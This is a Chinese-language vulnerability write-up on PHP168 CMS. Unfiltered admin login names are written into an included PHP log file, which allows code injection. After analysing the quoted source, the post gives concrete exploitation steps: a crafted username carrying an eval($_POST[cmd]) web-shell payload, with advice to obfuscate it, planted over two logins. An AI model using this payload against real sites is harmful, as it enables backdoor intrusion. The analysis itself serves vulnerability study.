PHP168 CMS的一次新异漏洞分析

简介: admin/global.php对后台管理的用户名与密码没有任何过滤产生了这个漏洞if( $_POST[loginname] && $_POST[loginpwd] ){if( $webdb[...
admin/global.php对后台管理的用户名与密码没有任何过滤产生了这个漏洞
if( $_POST[loginname] && $_POST[loginpwd] )
{
if( $webdb[yzImgAdminLogin] ){
if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
die("<A HREF=?>验证码不符合</A>");
}else{
set_cookie("yzImgNum","");
}
}
$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>密码不正确</A>");
}elseif(!$rs[uid]){
Add_memberdata($_POST[loginname]);
}else{
login_logs($_POST[loginname],md5($_POST[loginpwd]));
$_COOKIE[Admin]="$rs[uid]/t".mymd5($rs[password]);
//@include(PHP168_PATH."cache/warn.php");
setcookie("Admin",$_COOKIE[Admin],0,"/");
}
}

我们看这一段,
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){

如果用户名与密码不对,也一样写入(login_logs),我们跟下这个函数
function login_logs($username,$password){
global $timestamp,$onlineip;
$logdb[]="$username/t$password/t$timestamp/t$onlineip";
@include(PHP168_PATH."cache/adminlogin_logs.php");
$writefile="<?php /r/n";
$jj=0;
foreach($logdb AS $key=>$value){
$jj++;
$writefile.="/$logdb[]=/"$value/";/r/n";

if($jj>200){
break;
}
}
write_file(PHP168_PATH."cache/adminlogin_logs.php",$writefile);
}

漏洞出来了,我们先看这一句,$writefile="<?php /r/n"; $writefile这个变量总是会用PHP文件的"<?php"来开始,也就是说被写入的文件一定是PHP文件,这样子才能被include来使用,关键点了!!!!为了include,这个漏洞就产生了,foreach($logdb AS $key=>$value) 这里是遍历循环一个数组,面这个数组值并不是唯一由登录时传入的用户名与密码产生的数组,而是由include包含的以前登录过的用户名与密码一起联合成的数组!!!就是因为include这里包含,当include里面包含时,如果里面有"/""(反邪扛后面跟一个双引号),那们里面的反邪扛就起作用了,比如里面的数组是
$logdb[]="/"?>;<?phpinfo?> usual 1184814802 192.168.128.192";

当他被include后,就会变成
$logdb[]=""?>;<?phpinfo?> usual 1184814802 192.168.128.192";

这样子就可以B合前面的一个双引了
OK,这个漏洞还是比较有意思的,比一般的SQL注入等有新意思,所以就分析下了.

好我,明白原理了,大家也知道如何利用了吧?

第一次,我们在用户名与密码那里登录分别提交
/"?>;<?eval($_POST[cmd])?> ******( 密码随便乱写)
(最好把<?eval($_POST[cmd])?>先base64再gzdeflate)

第二次我们只要随便输入用户名与密码,就可以成功拿到一个一句话后门了

总结: 文件包含可以让自动过滤掉反邪扛,是php的BUG还是?

PS:此漏洞已经有有公布过,但未公布其中原理,今天无意中看到发现者(忘记是谁了)对此漏洞的描述,加班无聊就分析了下  
目录
相关文章
|
2月前
|
设计模式 数据库连接 PHP
PHP中的设计模式:提升代码的可维护性与扩展性在软件开发过程中,设计模式是开发者们经常用到的工具之一。它们提供了经过验证的解决方案,可以帮助我们解决常见的软件设计问题。本文将介绍PHP中常用的设计模式,以及如何利用这些模式来提高代码的可维护性和扩展性。我们将从基础的设计模式入手,逐步深入到更复杂的应用场景。通过实际案例分析,读者可以更好地理解如何在PHP开发中应用这些设计模式,从而写出更加高效、灵活和易于维护的代码。
本文探讨了PHP中常用的设计模式及其在实际项目中的应用。内容涵盖设计模式的基本概念、分类和具体使用场景,重点介绍了单例模式、工厂模式和观察者模式等常见模式。通过具体的代码示例,展示了如何在PHP项目中有效利用设计模式来提升代码的可维护性和扩展性。文章还讨论了设计模式的选择原则和注意事项,帮助开发者在不同情境下做出最佳决策。
|
2月前
|
Web App开发 PHP iOS开发
易优CMS PHP原生标签调用
这段代码实现了一个自动化工具,用于从指定的漫画网站下载章节内容,并将其转换为PDF格式。它首先通过用户输入的链接获取网页信息,然后根据用户的选择下载整个章节或特定章节的图片,并保存到本地文件夹中。下载完成后,工具会将这些图片合并成一个PDF文件,并添加书签以便于浏览。此外,代码还包含了异常处理机制,确保在网络不稳定时能够重试下载。
29 4
|
2月前
|
监控 IDE PHP
php xdebug的配置、调试、跟踪、调优、分析
php xdebug的配置、调试、跟踪、调优、分析
|
2月前
|
缓存 监控 算法
分析慢日志文件来优化 PHP 脚本的性能
分析慢日志文件来优化 PHP 脚本的性能
|
3月前
|
安全 前端开发 PHP
构建与验证表单:传统PHP与Laravel框架的比较分析——探索Web开发中表单处理的优化策略和最佳实践
【8月更文挑战第31天】在 Web 开发中,表单构建与数据验证至关重要。传统 PHP 方法需手动处理 HTML 表单和数据验证,而 Laravel 框架则提供了一种更现代、高效的解决方案。本文通过对比传统 PHP 和 Laravel 的方法,探讨表单构建与验证的最佳实践。Laravel 通过简洁的语法糖、内置的数据过滤和验证机制,显著提升了代码的安全性和可维护性,适用于大型项目或需要快速开发的场景。然而,在追求灵活性的小型项目中,直接使用 PHP 仍是不错的选择。了解两者的优劣,有助于开发者根据项目需求做出最佳决策。
36 0
|
3月前
|
SQL 安全 API
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
87 4
|
3月前
|
安全 Java 云计算
JSF 应用究竟何去何从?云端部署能否成为其全新突破点?快来一探究竟!
【8月更文挑战第31天】本文介绍了将JavaServer Faces(JSF)应用部署到云平台的过程。首先,根据成本、功能、可靠性和安全性选择合适的云平台。接着,展示了构建简单JSF应用的示例代码。最后,以AWS Elastic Beanstalk为例,详细说明了部署流程。部署至云端可提升应用的可用性、扩展性和安全性。
45 0
|
5月前
|
PHP 数据库 数据安全/隐私保护
PHP枫叶小说CMS源码 仿起点中文网源码
PHP枫叶小说CMS源码 仿起点中文网源码
131 3
|
5月前
|
安全 前端开发 测试技术
安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
|
6月前
|
存储 监控 安全
PHP医院安全(不良)事件报告系统源码 vue2+element支持11大类不良事件上报、审核处理、分析改进
医院安全(不良)事件管理系统采用无责的、自愿的填报不良事件方式,有效地减轻医护人员的思想压力,实现以事件为主要对象,可以自动、及时、实际地反应医院的安全、不良、近失事件的情况,更好地掌握不良事件的发生趋势,为及时采取适当的管理措施和流程、制度改进提供了良好的量化依据。系统通过汇集不同类型事件的报告,从中分析出医院内部潜在的问题和风险,将发生的事故降到最低,从而保证病人安全和医护人员安全。
55 0